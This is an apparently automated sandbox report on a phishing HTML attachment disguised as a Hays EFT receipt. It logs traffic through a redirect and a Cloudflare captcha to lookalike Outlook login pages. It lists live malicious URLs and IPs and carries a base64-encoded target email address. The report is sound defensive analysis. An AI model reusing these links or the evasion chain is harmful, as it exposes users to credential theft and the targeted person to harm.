Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.outlook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://cj.qhggzzwnpfh.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /egwigfkbbmmmvyqqeWuKktXWDuZMRFRAWLPLRADLJEBTXBNHILZLJIMPPZZLCJOCABQJSZBQKEHEWZFX HTTP/1.1Host: dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: outlook.live.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cj.qhggzzwnpfh.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /owa/ HTTP/1.1Host: outlook.live.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cj.qhggzzwnpfh.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cosenzaconsulting.co
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: cj.qhggzzwnpfh.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru
Source: global traffic	DNS traffic detected: DNS query: www.outlook.com
Source: global traffic	DNS traffic detected: DNS query: outlook.live.com
Source: global traffic	DNS traffic detected: DNS query: assets.onestore.ms
Source: global traffic	DNS traffic detected: DNS query: ajax.aspnetcdn.com
Source: global traffic	DNS traffic detected: DNS query: c.s-microsoft.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1294472346:1733876751:hEjnv9M7PvDCIxr4v99_qFwLexMGN_wwwduRTkruwIA/8f019593d907f5f4/QzMvalwCsdc6OyL7EKCMwMpsUR423C8SsWi31NLjlTQ-1733879314-1.1.1.1-5oW9z9Xf7C44vE5TdycT84AOuo2tAEr5ezVJnalSUX3iPk_HesFqDmKe9I0jDlHQ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3263sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: QzMvalwCsdc6OyL7EKCMwMpsUR423C8SsWi31NLjlTQ-1733879314-1.1.1.1-5oW9z9Xf7C44vE5TdycT84AOuo2tAEr5ezVJnalSUX3iPk_HesFqDmKe9I0jDlHQsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/e49aa/0x4AAAAAAA0r4R9r9-8F9sCb/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 01:08:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2%2B7%2BQ9pK%2BTl8M5SRJ02Y47ipyU3Rxdk0mA9prW0PLU%2BimyxlGVimDkzsn1o9Cer7t%2BxdvXvAlKACS8N5NowiQmG4R39wlz0qsz0JHpCWH5Lqw%2FEphp85fDYfoKcMkQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=4965&min_rtt=4929&rtt_var=1453&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2235&delivery_rate=555707&cwnd=241&unsent_bytes=0&cid=c649cf03e1f540e0&ts=1161&x=0"CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 8f0195a6ca79334e-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1898&min_rtt=1892&rtt_var=723&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1898&delivery_rate=1499743&cwnd=173&unsent_bytes=0&cid=057c780e8fd432c4&ts=10973&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 01:08:41 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: YBRF9jzkAlp46ZSDD9uwG5SQ8jaehq7vnQs=$gDhOyGNwQYudfrSlcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8f0195c0080c5e72-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 01:08:48 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: +U5+GDs2YDO/5nI1822BoX/FcHq0q33XzfI=$QUqM2i7GB+fHJs8EServer: cloudflareCF-RAY: 8f0195ec092d8cdd-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 01:08:57 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: e0/NkCrh/PB/KDwetV1UcoGzWvkE48Z3lDs=$6xH4fuo4R7CiDMQicache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8f019624494d440b-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_99.2.dr	String found in binary or memory: http://schema.org/Organization
Source: chromecache_99.2.dr	String found in binary or memory: https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
Source: chromecache_99.2.dr	String found in binary or memory: https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.c
Source: chromecache_99.2.dr	String found in binary or memory: https://az725175.vo.msecnd.net/scripts/jsll-4.js
Source: chromecache_93.2.dr, chromecache_101.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: chromecache_109.2.dr, chromecache_115.2.dr	String found in binary or memory: https://github.com/nodeca/pako
Source: chromecache_99.2.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Source: chromecache_99.2.dr	String found in binary or memory: https://onedrive.live.com/about/en-us/
Source: chromecache_99.2.dr	String found in binary or memory: https://outlook.live.com/owa/
Source: chromecache_99.2.dr	String found in binary or memory: https://products.office.com/en-us/home
Source: chromecache_99.2.dr	String found in binary or memory: https://products.office.com/en-us/microsoft-teams/free?icid=SSM_AS_Promo_Apps_MicrosoftTeams
Source: chromecache_99.2.dr	String found in binary or memory: https://statics-marketingsites-wcus-ms-com.akamaized.net/statics/override.css?c=7
Source: chromecache_99.2.dr	String found in binary or memory: https://www.onenote.com/
Source: chromecache_99.2.dr	String found in binary or memory: https://www.skype.com/en/
Source: chromecache_99.2.dr	String found in binary or memory: https://www.xbox.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

System Summary

HTML document with suspicious name

Source: Name includes: Hays eft_Receipt number N302143235953.htm

Initial sample: receipt

Source: classification engine

Classification label: mal76.phis.evad.winHTM@29/51@52/18

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Hays eft_Receipt number N302143235953.htm"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1984,i,14982997615707158117,13102304873999290162,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1984,i,14982997615707158117,13102304873999290162,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://cj.qhggzzwnpfh.ru/qABJFN/#K#d2lzZWx5LndvbmdAaGF5cy5jb20uaGs=

HTTP Parser: https://cj.qhggzzwnpfh.ru/qABJFN/#K#d2lzZWx5LndvbmdAaGF5cy5jb20uaGs=

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://cosenzaconsulting.co/res444.php?2-68747470733a2f2f436a2e716867677a7a776e7066682e72752f7141424a464e2f-dhole	100%	Avira URL Cloud	malware
file:///C:/Users/user/Desktop/Hays%20eft_Receipt%20number%20N302143235953.htm	0%	Avira URL Cloud	safe
https://cj.qhggzzwnpfh.ru/qABJFN/	0%	Avira URL Cloud	safe
https://dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru/egwigfkbbmmmvyqqeWuKktXWDuZMRFRAWLPLRADLJEBTXBNHILZLJIMPPZZLCJOCABQJSZBQKEHEWZFX	100%	Avira URL Cloud	malware
https://cj.qhggzzwnpfh.ru/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cj.qhggzzwnpfh.ru	104.21.32.1	true	true	unknown
ooc-g2.tm-4.office.com	52.98.95.210	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
MRS-efz.ms-acdc.office.com	52.97.173.18	true	false	high
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
www.google.com	142.250.181.100	true	false	high
dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru	104.21.32.251	true	false	unknown
olc-g2.tm-4.office.com	40.99.70.226	true	false	high
cosenzaconsulting.co	69.49.245.172	true	false	unknown
outlook.live.com	unknown	unknown	false	high
assets.onestore.ms	unknown	unknown	false	high
ajax.aspnetcdn.com	unknown	unknown	false	high
c.s-microsoft.com	unknown	unknown	false	high
www.outlook.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cosenzaconsulting.co/res444.php?2-68747470733a2f2f436a2e716867677a7a776e7066682e72752f7141424a464e2f-dhole	false	Avira URL Cloud: malware	unknown
https://outlook.live.com/owa/	false		high
file:///C:/Users/user/Desktop/Hays%20eft_Receipt%20number%20N302143235953.htm	true	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/g/f9063374b04d/api.js	false		high
https://cj.qhggzzwnpfh.ru/qABJFN/#K#d2lzZWx5LndvbmdAaGF5cy5jb20uaGs=	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8f019593d907f5f4&lang=auto	false		high
https://cj.qhggzzwnpfh.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/pako/2.0.4/pako.min.js	false		high
https://dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru/egwigfkbbmmmvyqqeWuKktXWDuZMRFRAWLPLRADLJEBTXBNHILZLJIMPPZZLCJOCABQJSZBQKEHEWZFX	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/e49aa/0x4AAAAAAA0r4R9r9-8F9sCb/auto/fbE/normal/auto/	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8f019593d907f5f4/1733879319048/bvqYxnwVgyw7nfb	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1294472346:1733876751:hEjnv9M7PvDCIxr4v99_qFwLexMGN_wwwduRTkruwIA/8f019593d907f5f4/QzMvalwCsdc6OyL7EKCMwMpsUR423C8SsWi31NLjlTQ-1733879314-1.1.1.1-5oW9z9Xf7C44vE5TdycT84AOuo2tAEr5ezVJnalSUX3iPk_HesFqDmKe9I0jDlHQ	false		high
https://a.nel.cloudflare.com/report/v4?s=2%2B7%2BQ9pK%2BTl8M5SRJ02Y47ipyU3Rxdk0mA9prW0PLU%2BimyxlGVimDkzsn1o9Cer7t%2BxdvXvAlKACS8N5NowiQmG4R39wlz0qsz0JHpCWH5Lqw%2FEphp85fDYfoKcMkQ%3D%3D	false		high
https://cj.qhggzzwnpfh.ru/qABJFN/	true	Avira URL Cloud: safe	unknown
https://outlook.live.com/	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8f019593d907f5f4/1733879319055/005b92094db5f60ade0c49c66c17570cc25d746f91d9ae8f9072c7aa4a811f79/tZdTIkSbvN9fvuK	false		high
https://www.outlook.com/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.skype.com/en/	chromecache_99.2.dr	false	high
https://products.office.com/en-us/home	chromecache_99.2.dr	false	high
https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.c	chromecache_99.2.dr	false	high
https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js	chromecache_99.2.dr	false	high
https://onedrive.live.com/about/en-us/	chromecache_99.2.dr	false	high
https://products.office.com/en-us/microsoft-teams/free?icid=SSM_AS_Promo_Apps_MicrosoftTeams	chromecache_99.2.dr	false	high
https://www.onenote.com/	chromecache_99.2.dr	false	high
https://github.com/nodeca/pako	chromecache_109.2.dr, chromecache_115.2.dr	false	high
https://www.xbox.com/	chromecache_99.2.dr	false	high
http://schema.org/Organization	chromecache_99.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
40.99.70.226	olc-g2.tm-4.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
52.98.95.210	ooc-g2.tm-4.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.32.1	cj.qhggzzwnpfh.ru	United States	13335	CLOUDFLARENETUS	true
40.99.70.178	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
69.49.245.172	cosenzaconsulting.co	United States	46606	UNIFIEDLAYER-AS-1US	false
104.21.32.251	dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
52.97.173.18	MRS-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4
192.168.2.27

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572851
Start date and time:	2024-12-11 02:07:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Hays eft_Receipt number N302143235953.htm
Detection:	MAL
Classification:	mal76.phis.evad.winHTM@29/51@52/18
Cookbook Comments:	Found application associated with file extension: .htm

Warnings

